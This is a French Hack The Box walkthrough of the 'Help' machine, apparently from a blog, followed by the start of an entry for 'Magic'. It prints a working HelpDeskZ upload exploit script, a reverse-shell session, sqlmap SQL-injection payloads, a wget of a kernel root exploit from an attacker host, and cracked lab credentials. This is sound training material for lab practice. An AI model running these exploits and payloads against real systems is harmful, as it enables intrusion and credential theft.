{"data":{"__schema":{"types":[{"name":"Query","fields":[{"name":"user"}]},{"name":"User","fields":[{"name":"username"},{"name":"password"}]},{"name":"String","fields":null},{"name":"__Schema","fields":[{"name":"types"},{"name":"queryType"},{"name":"mutationType"},{"name":"subscriptionType"},{"name":"directives"}]},{"name":"__Type","fields":[{"name":"kind"},{"name":"name"},{"name":"description"},{"name":"fields"},{"name":"interfaces"},{"name":"possibleTypes"},{"name":"enumValues"},{"name":"inputFields"},{"name":"ofType"}]},{"name":"__TypeKind","fields":null},{"name":"Boolean","fields":null},{"name":"__Field","fields":[{"name":"name"},{"name":"description"},{"name":"args"},{"name":"type"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__InputValue","fields":[{"name":"name"},{"name":"description"},{"name":"type"},{"name":"defaultValue"}]},{"name":"__EnumValue","fields":[{"name":"name"},{"name":"description"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__Directive","fields":[{"name":"name"},{"name":"description"},{"name":"locations"},{"name":"args"}]},{"name":"__DirectiveLocation","fields":null}]}}}

$ curl -X POST http://10.10.10.121:3000/graphql \
 -H "Content-Type: application/json" \
 -d '{"query":"{ user { username password } }"}'

{"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}

Avec hashcat, on reussi à récupérer le mot de passe suivant : godhelpmeplz

1
2


hashcat -m 0 ./hash.txt ~/wordlists/rockyou.txt --show
5d3c93182bb20f07b994a7f617e99cff:godhelpmeplz

Helpdeskz - version 1.0.2

On remarque Helpdeskz est installé avec une version vulnérable (potentiellment 2 CVE).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


http://help.htb/support/UPGRADING.txt
--------------
Welcome to HelpDeskZ 1.0.2
==========================

We have made some changes in this new version like:

- SEO-friendly URLs compatibility fixed

- Login with Facebook account (Facebook connect)

- Login with Google account (Google OAuth)

File Upload : PHP reverse shell

On trouve un premier exploit qui ne fonctionne pas, il s’agit d’un file upload permettant d’executer du code php. En realité la machine est bien exploitable, mais l’exploit ne fonctionne pas à cause d’un problème d’horaire. La machine n’est pas à la meme heure que la notre, et l’exploit est basé, en autre, sur l’heure. Il a donc fallu rajotuer dans l’exploit ceci:

1
2
3
4
5
6


##Getting the Time from the server
response = requests.head('http://10.10.10.121/support/')
serverTime = response.headers['Date']
##setting the time in Epoch
FormatTime = '%a, %d %b %Y %H:%M:%S %Z'
currentTime = int(calendar.timegm(time.strptime(serverTime, FormatTime)))

Cela permet de recuperer l’heure exacte défini sur Helpdeskz, c’est important pour la suite de l’exploitation. En cherchant un peu sur github, on trouve justement l’exploit original avec ces quelques lignes de code supplémentaire (je n’ai pas eu besoin de rajouter ce code moi même mais c’était faisable.).

Voici le fichier d’exploitation en Python permettant d’executer le fichier téléchargé sur la machine. Dans un premier temps il a fallu creer un ticket et ajouter une piece jointe avec un fichier php (reverse shell). Il faut, seulement ensuite, executer le code python qui doit retrouver le fichier php et l’executer.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


##!/bin/python
##This is a modified version of https://www.exploit-db.com/raw/40300
##Since the sysntax on time calculation is incorect
'''
The default configuration of this software allows for php files to be uploaded

Steps to reproduce

Fill out a ticket form and attach a php file, solve the captcha and upload,
(the application will display 'File is not allowed' but the file is still uploaded!!

Set up a netcat session to catch the reverse shell

Run this script and receive a reverse shell back!!!

'''
import hashlib
import time, calendar
import sys
import requests

print 'HelpDesk v1.0.2 - Unauthenticated shell upload'

if len(sys.argv) < 3:
 print "Usage: {} http://helpdeskz.com/support/uploads/tickets/ Reverse-shell.php".format(sys.argv[0])
 sys.exit(1)


helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

##Getting the Time from the server
response = requests.head('http://10.10.10.121/support/')
serverTime = response.headers['Date']
##setting the time in Epoch
FormatTime = '%a, %d %b %Y %H:%M:%S %Z'
currentTime = int(calendar.timegm(time.strptime(serverTime, FormatTime)))


for x in range(0,300):
 plaintext = fileName + str(currentTime -x)
 md5hash = hashlib.md5(plaintext).hexdigest()

 url = helpdeskzBaseUrl + md5hash + '.php'
 response = requests.head(url)
 if response.status_code == 200:
 print("found!")
 print(url)
 sys.exit(0)

print("Sorry, I did not find anything")

On voit ici l’obtention d’un reverse shell :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


$ nc -lnvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.121.
Ncat: Connection from 10.10.10.121:34876.
SOCKET: Shell has connected! PID: 1312
whoami
help
python3 -c 'import pty;pty.spawn("/bin/bash")'
help@help:/var/www/html/support/uploads/tickets$ export TERM=xterm
export TERM=xterm
help@help:/var/www/html/support/uploads/tickets$ ^Z
[1] + 3405 suspended nc -lnvp 9001
[Aug 26, 2025 - 00:39:46 (CEST)] exegol-pentest /workspace # stty raw -echo;fg 
[1] + 3405 continued nc -lnvp 9001

help@help:/var/www/html/support/uploads/tickets$
help@help:/var/www/html/support/uploads/tickets$ ls
072358eef300beb18834f16ffb121aee.php 5d13aeec839047b1647d58538fd788b8.png
1041ae9bd805fcd792d6a1e775ca8fab.txt c89564cd603a96bafcd9e53210d6042b.txt
11768880feca2125903635561dd4d047.php fd517142e88d1dfb1c8616b7f8824891.txt
1c9c8783677b6498d5e2453241c6c3b9.php index.php
316c27c726d57e961f236992c9788715.php
help@help:/var/www/html/support/uploads/tickets$ cd /home/
help@help:/home$ ls
help
help@help:/home$ cd help/
help@help:/home/help$ ls
help npm-debug.log user.txt
------------->
help@help:/home/help$ cat user.txt
b800.....6650

----------------------------------------------------------------

python2 final2.py http://help.htb/support/uploads/tickets/ s2.php
HelpDesk v1.0.2 - Unauthenticated shell upload
1756161392

On obtient finalement un shell en tant que l’utilisateur help.

Second File Upload / SQL Injection CVE

Une deuxième exploitation était possible. Il fallait se connecter avec les credentials trouvés dans graphql sur la plateforme Helpdeskz et poster un ticket avec une pièce-jointe. Il était alors possible ensuite de faire des requêtes vers cette pièce jointe en faisant une injection SQL dans l’url.

En sauvegardant la requête à l’aide Burp, puis en utilisant sqlmap, il n’est pas trop dur de l’exploiter. J’ai tenté d’utiliser une exploit déjà écrite, mais ça n’a pas fonctionné. A la fin, vous pouvez voir comment l’exploiter dans la section Bonus.

mysql : staff table

En cherchant dans les fichiers de site web, on trouve un dossier includes avec un fichier config.php contenant les credentials pour se connecter à une base de donnée SQL. En cherchant dans la base de données on découvre une base de donnée support avec une table staff contenant un user “admin” et un hachage :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


help@help:/var/www$ cd html
help@help:/var/www/html$ ls
index.html support
help@help:/var/www/html$ cd support
help@help:/var/www/html/support$ ls
LICENSE.txt captcha.php facebookOAuth images js views
README.md controllers favicon.ico includes readme.html
UPGRADING.txt css googleOAuth index.php uploads
help@help:/var/www/html/support$ cd includes/
help@help:/var/www/html/support/includes$ ls
PHPMailer classes helpdesk.inc.php pipe.php
Twig config.php index.php staff.inc.php
bootstrap.php functions.php language support.sql
captcha.ttf global.php parser timezone.inc.php
help@help:/var/www/html/support/includes$ cat config.php
<?php
 $config['Database']['dbname'] = 'support';
 $config['Database']['tableprefix'] = '';
 $config['Database']['servername'] = 'localhost';
 $config['Database']['username'] = 'root';
 $config['Database']['password'] = 'helpme';
 $config['Database']['type'] = 'mysqli';
 ?>

Connexion à la base de donnée mysql en utilisant les credentials trouvés précédemment :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75


help@help:/var/www/html/support/includes$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 785
Server version: 5.7.24-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> .tables
 -> ;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.tables' at line 1
mysql> show tables;
ERROR 1046 (3D000): No database selected
mysql> show db;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'db' at line 1
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| support |
| sys |
+--------------------+
5 rows in set (0.02 sec)

mysql> use support
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables
 -> ;
+--+
| Tables_in_support |
+--+
| articles |
| attachments |
| canned_response |
| custom_fields |
| departments |
| emails |
| error_log |
| file_types |
| knowledgebase_category |
| login_attempt |
| login_log |
| news |
| pages |
| priority |
| settings |
| staff |
| tickets |
| tickets_messages |
| users |
+--+
19 rows in set (0.00 sec)

mysql> select * from staff;
+----+----------+--------------------+---------------+--------------------+------------+------------+--------------------+----------+--------+--+--------+-------+--------+
| id | username | password | fullname | email | login | last_login | department | timezone | signature | newticket_notification | avatar | admin | status |
+----+----------+--------------------+---------------+--------------------+------------+------------+--------------------+----------+--------+--+--------+-------+--------+
| 1 | admin | d318f44739dced66793b1a603028133a76ae680e | Administrator | support@mysite.com | 1547216217 | 1543429746 | a:1:{i:0;s:1:"1";} | | Best regards,
Administrator | 0 | NULL | 1 | Enable |
+----+----------+--------------------+---------------+--------------------+------------+------------+--------------------+----------+--------+--+--------+-------+--------+
1 row in set (0.00 sec)

mysql> exit;

En utilisant crackstation.net, on tente de retrouver le mot de passe relié au hachage et on obtient: d318f44739dced66793b1a603028133a76ae680e -> Welcome1

On peut maintenant se connecter en SSH avec le compte help et ce mot de passe (PASSWORD REUSE…) :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


ssh help@help.htb
help@help.htb's password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-116-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage
You have new mail.
Last login: Fri Jan 11 06:18:50 2019
help@help:~$

Privilege Escalation

Vulnerable Kernel : Linux version 4.4.0-116-generic

En utilisant linpeas, on trouve la version du Kernel qui semble un peu vieux (Feb 12 21:23:04 UTC 2018) alors que la machine date de Janvier 2019. On tente une recherche sur internet et sur searchsploit pour voir si ce kernel est vulnerable.

Il semble que les Kernel linux en dessous de cette version sont vulnerable mais pas celle ci. C’est à dire : < 4.4.0-116-generic. D’après ce que j’ai appris, il est toujours important de vérifier quand même si une exploitation est possible pour une version, même si c’est indiqué “<”. Parfois, “<” est en realité “<=”.

1
2
3
4
5
6
7
8
9


══════════════════════════════╣ System Information ╠══════════════════════════════
 ╚════════════════════╝
╔══════════╣ Operative system
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits
Linux version 4.4.0-116-generic (buildd@lgw01-amd64-021) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018
Distributor ID: Ubuntu
Description: Ubuntu 16.04.5 LTS
Release: 16.04
Codename: xenial

J’ai récupérer l’exploit trouvé sur searchsploit :

1
2
3
4
5


searchsploit 4.4.0-116
- -------------------------------------------------------
 Exploit Title
- -------------------------------------------------------
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation

Il m’a suffit ensuite de la télécharger sur la machine, de le compiler avec gcc puis de l’executer afin d’obtenir un shell en tant que root :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


help@help:~$ wget http://10.10.16.10:8000/44298.c
--2025-08-27 05:09:41-- http://10.10.16.10:8000/44298.c
Connecting to 10.10.16.10:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5773 (5.6K) [text/x-csrc]
Saving to: ‘44298.c’

44298.c 100%[=====================================================================================================================>] 5.64K --.-KB/s in 0.01s

2025-08-27 05:09:42 (384 KB/s) - ‘44298.c’ saved [5773/5773]

help@help:~$ gcc 44298.c -o exploit
help@help:~$ chmod +x exploit
help@help:~$ ./exploit
task_struct = ffff880015b98e00
uidptr = ffff8800192f7c04
spawning root shell
root@help:~# whoami
root
root@help:~# cat /root/root.txt
924b.....f182

Bonus

CVE : SQL Injection (Authenticated)

Dans un premier temps, on se connecte à HelpdeskZ à l’aide des credentials trouvés sur Graphql. Ensuite, on poste un ticket avec une piece-jointe (pas de fichier php, n’importe lequel suffit). Ensuite, on va dans nos tickets et on essaye de telecharger notre pièce-jointe. On intercepte la requête dans Burp, il suffit ensuite de l’enregistrer dans un fichier puis de le passer en paramètre de sqlmap :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


GET /support/?v=view_tickets&action=ticket&param[]=8&param[]=attachment&param[]=5&param[]=10 HTTP/1.1
Host: help.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://help.htb/support/?v=view_tickets&action=ticket&param[]=8
Cookie: lang=english; PHPSESSID=dh62bg5tt2j2gk4bofntn637q5; usrhash=0Nwx5jIdx%2BP2QcbUIv9qck4Tk2feEu8Z0J7rPe0d70BtNMpqfrbvecJupGimitjg3JjP1UzkqYH6QdYSl1tVZNcjd4B7yFeh6KDrQQ%2FiYFsjV6wVnLIF%2FaNh6SC24eT5OqECJlQEv7G47Kd65yVLoZ06smnKha9AGF4yL2Ylo%2BEWTAAjyRu71c6GI%2BULmLmTqISzoi3A27eA1M9ErCXvXw%3D%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i

On enregistre cette requete dans un fichier ticket.req.

On execute sqlmap :

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306


------------------------------------------------
$ sqlmap -r ticket.req --batch --dbs --thread 10
 ___
 __H__
 ___ ___[']_____ ___ ___ {1.9.3.3#dev}
|_ -| . [.] | .'| . |
|___|_ [']_|_|_|__,| _|
 |_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:37:53 /2025-08-27/

[14:37:53] [INFO] parsing HTTP request from 'ticket.req'
[14:37:53] [INFO] resuming back-end DBMS 'mysql'
[14:37:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: param[] (GET)
 Type: boolean-based blind
 Title: AND boolean-based blind - WHERE or HAVING clause
 Payload: v=view_tickets&action=ticket&param[]=8&param[]=attachment&param[]=5&param[]=10 AND 2859=2859

 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: v=view_tickets&action=ticket&param[]=8&param[]=attachment&param[]=5&param[]=10 AND (SELECT 7344 FROM (SELECT(SLEEP(5)))Tifo)
---
[14:37:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.10 or 16.04 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[14:37:53] [INFO] fetching database names
[14:37:53] [INFO] fetching number of databases
[14:37:53] [INFO] retrieved: 5
[14:37:54] [INFO] retrieving the length of query output
[14:37:54] [INFO] retrieved: 18
[14:37:58] [INFO] retrieved: information_schema
[14:37:58] [INFO] retrieving the length of query output
[14:37:58] [INFO] retrieved: 5
[14:38:00] [INFO] retrieved: mysql
[14:38:00] [INFO] retrieving the length of query output
[14:38:00] [INFO] retrieved: 18
[14:38:03] [INFO] retrieved: performance_schema
[14:38:03] [INFO] retrieving the length of query output
[14:38:03] [INFO] retrieved: 7
[14:38:06] [INFO] retrieved: support
[14:38:06] [INFO] retrieving the length of query output
[14:38:06] [INFO] retrieved: 3
[14:38:07] [INFO] retrieved: sys
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] support
[*] sys

[14:38:07] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/help.htb'

[*] ending @ 14:38:07 /2025-08-27/

--------------------------------------------------------------
$ sqlmap -r ticket.req --batch --thread 10 -D support --tables
 ___
 __H__
 ___ ___["]_____ ___ ___ {1.9.3.3#dev}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
 |_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:38:50 /2025-08-27/

[14:38:50] [INFO] parsing HTTP request from 'ticket.req'
[14:38:50] [INFO] resuming back-end DBMS 'mysql'
[14:38:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: param[] (GET)
 Type: boolean-based blind
 Title: AND boolean-based blind - WHERE or HAVING clause
 Payload: v=view_tickets&action=ticket&param[]=8&param[]=attachment&param[]=5&param[]=10 AND 2859=2859

 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: v=view_tickets&action=ticket&param[]=8&param[]=attachment&param[]=5&param[]=10 AND (SELECT 7344 FROM (SELECT(SLEEP(5)))Tifo)
---
[14:38:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.10 or 16.04 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[14:38:51] [INFO] fetching tables for database: 'support'
[14:38:51] [INFO] fetching number of tables for database 'support'
[14:38:51] [INFO] retrieved: 19
...
...
[14:39:34] [INFO] retrieved: 5
[14:39:36] [INFO] retrieved: staff
[14:39:36] [INFO] retrieving the length of query output
[14:39:36] [INFO] retrieved: 7
[14:39:39] [INFO] retrieved: tickets
[14:39:39] [INFO] retrieving the length of query output
[14:39:39] [INFO] retrieved: 16
[14:39:42] [INFO] retrieved: tickets_messages
[14:39:42] [INFO] retrieving the length of query output
[14:39:42] [INFO] retrieved: 5
[14:39:44] [INFO] retrieved: users
Database: support
[19 tables]
+------------------------+
| articles |
| attachments |
| canned_response |
| custom_fields |
| departments |
| emails |
| error_log |
| file_types |
| knowledgebase_category |
| login_attempt |
| login_log |
| news |
| pages |
| priority |
| settings |
| staff |
| tickets |
| tickets_messages |
| users |
+------------------------+

[14:39:44] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/help.htb'

[*] ending @ 14:39:44 /2025-08-27/

----------------------------------------------------------------------
$ sqlmap -r ticket.req --batch --thread 10 -D support -T staff --columns
 ___
 __H__
 ___ ___[)]_____ ___ ___ {1.9.3.3#dev}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
 |_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:40:14 /2025-08-27/

[14:40:14] [INFO] parsing HTTP request from 'ticket.req'
[14:40:15] [INFO] resuming back-end DBMS 'mysql'
[14:40:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: param[] (GET)
 Type: boolean-based blind
 Title: AND boolean-based blind - WHERE or HAVING clause
 Payload: v=view_tickets&action=ticket&param[]=8&param[]=attachment&param[]=5&param[]=10 AND 2859=2859

 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: v=view_tickets&action=ticket&param[]=8&param[]=attachment&param[]=5&param[]=10 AND (SELECT 7344 FROM (SELECT(SLEEP(5)))Tifo)
---
[14:40:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[14:40:15] [INFO] fetching columns for table 'staff' in database 'support'
[14:40:15] [INFO] retrieved: 14
[14:40:16] [INFO] retrieving the length of query output
[14:40:16] [INFO] retrieved: 2
[14:40:17] [INFO] retrieved: id
[14:40:17] [INFO] retrieving the length of query output
[14:40:17] [INFO] retrieved: 7
...
...
[14:41:18] [INFO] retrieved: 5
[14:41:19] [INFO] retrieved: admin
[14:41:19] [INFO] retrieving the length of query output
[14:41:19] [INFO] retrieved: 6
[14:41:21] [INFO] retrieved: int(1)
[14:41:21] [INFO] retrieving the length of query output
[14:41:21] [INFO] retrieved: 6
[14:41:24] [INFO] retrieved: status
[14:41:24] [INFO] retrieving the length of query output
[14:41:24] [INFO] retrieved: 24
[14:41:28] [INFO] retrieved: enum('Enable','Disable')
Database: support
Table: staff
[14 columns]
+------------------------+--------------------------+
| Column | Type |
+------------------------+--------------------------+
| admin | int(1) |
| status | enum('Enable','Disable') |
| avatar | varchar(200) |
| department | text |
| email | varchar(255) |
| fullname | varchar(100) |
| id | int(11) |
| last_login | int(11) |
| login | int(11) |
| newticket_notification | smallint(1) |
| password | varchar(255) |
| signature | mediumtext |
| timezone | varchar(255) |
| username | varchar(255) |
+------------------------+--------------------------+

[14:41:28] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/help.htb'

[*] ending @ 14:41:28 /2025-08-27/

----------------------------------------------------------------------
$ sqlmap -r ticket.req --batch --thread 10 -D support -T staff --dump
 ___
 __H__
 ___ ___[(]_____ ___ ___ {1.9.3.3#dev}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
 |_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:41:39 /2025-08-27/

[14:41:39] [INFO] parsing HTTP request from 'ticket.req'
[14:41:39] [INFO] resuming back-end DBMS 'mysql'
[14:41:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: param[] (GET)
 Type: boolean-based blind
 Title: AND boolean-based blind - WHERE or HAVING clause
 Payload: v=view_tickets&action=ticket&param[]=8&param[]=attachment&param[]=5&param[]=10 AND 2859=2859

 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: v=view_tickets&action=ticket&param[]=8&param[]=attachment&param[]=5&param[]=10 AND (SELECT 7344 FROM (SELECT(SLEEP(5)))Tifo)
---
[14:41:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (xenial or yakkety)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[14:41:39] [INFO] fetching columns for table 'staff' in database 'support'
[14:41:39] [INFO] resumed: 14
...
...
[14:41:53] [INFO] retrieved: support@mysite.com
[14:41:53] [INFO] retrieving the length of query output
[14:41:53] [INFO] retrieved: 13
[14:41:56] [INFO] retrieved: Administrator
[14:41:56] [INFO] retrieving the length of query output
[14:41:56] [INFO] retrieved: 1
[14:41:57] [INFO] retrieved: 1
[14:41:58] [INFO] retrieving the length of query output
[14:41:58] [INFO] retrieved: 10
[14:42:01] [INFO] retrieved: 1543429746
[14:42:01] [INFO] retrieving the length of query output
[14:42:01] [INFO] retrieved: 10
[14:42:03] [INFO] retrieved: 1547216217
[14:42:03] [INFO] retrieving the length of query output
[14:42:03] [INFO] retrieved: 1
[14:42:04] [INFO] retrieved: 0
[14:42:04] [INFO] retrieving the length of query output
[14:42:04] [INFO] retrieved: 40
[14:42:12] [INFO] retrieved: d318f44739dced66793b1a603028133a76ae680e
[14:42:12] [INFO] retrieving the length of query output
[14:42:12] [INFO] retrieved: 28
[14:42:17] [INFO] retrieved: Best regards, Administrator
[14:42:17] [INFO] retrieving the length of query output
[14:42:17] [INFO] retrieved: 0
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[14:42:18] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[14:42:21] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions

[14:42:21] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[14:42:21] [INFO] retrieving the length of query output
[14:42:21] [INFO] retrieved: 5
[14:42:23] [INFO] retrieved: admin
[14:42:23] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[14:42:23] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/opt/tools/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[14:42:23] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[14:42:23] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[14:42:23] [INFO] starting 12 processes
[14:42:24] [INFO] cracked password 'Welcome1' for user 'admin'
Database: support
Table: staff
[1 entry]
+----+--------------------+------------+--------+---------+----------+---------------+-----------------------------------------------------+----------+----------+--------------------------------+--------------------+------------+------------------------+
| id | email | login | avatar | admin | status | fullname | password | timezone | username | signature | department | last_login | newticket_notification |
+----+--------------------+------------+--------+---------+----------+---------------+-----------------------------------------------------+----------+----------+--------------------------------+--------------------+------------+------------------------+
| 1 | support@mysite.com | 1547216217 | NULL | 1 | Enable | Administrator | d318f44739dced66793b1a603028133a76ae680e (Welcome1) | <blank> | admin | Best regards,\r\nAdministrator | a:1:{i:0;s:1:"1";} | 1543429746 | 0 |
+----+--------------------+------------+--------+---------+----------+---------------+-----------------------------------------------------+----------+----------+--------------------------------+--------------------+------------+------------------------+

[14:42:30] [INFO] table 'support.staff' dumped to CSV file '/root/.local/share/sqlmap/output/help.htb/dump/support/staff.csv'
[14:42:30] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/help.htb'

[*] ending @ 14:42:30 /2025-08-27/

Après l’utilisation de SQLMap, nous n’avons pas eu besoin de faire une attaque par dictionnaire sur le hachage. En effet, SQLmap s’en est chargé et a trouvé le mot de passe : “d318f44739dced66793b1a603028133a76ae680e” –> Welcome1.

Il ne reste plus qu’à se connecter en SSH avec l’utilisateur help et ce mot de passe.

Tips

Quand on trouve une version d’un service exploitable, vraiment pousser au maximum. Tenter plusieurs fois l’exploitation et avec plusieurs code différents.
Vérifier rapidement le Kernel, en commençant par la date de sa compilation. Faire une recherche de la version rapidement sur internet, ça coûte rien et ici c’était bien la solution. Linpeas ne surlignera pas la version du Kernel.

HTB | CodeTwo

Sun, 24 Aug 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
CodeTwo	Linux	10.10.11.82	Easy

Soon :)

HTB | Magic

Thu, 24 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Magic	Linux	10.10.10.185	Medium

Users

1
2
3
4


## mysql
theseus : `iamkingtheseus`

admin : `Th3s3usW4sK1ng`

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.185
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06d489bf51f7fc0cf9085e9763648dca (RSA)
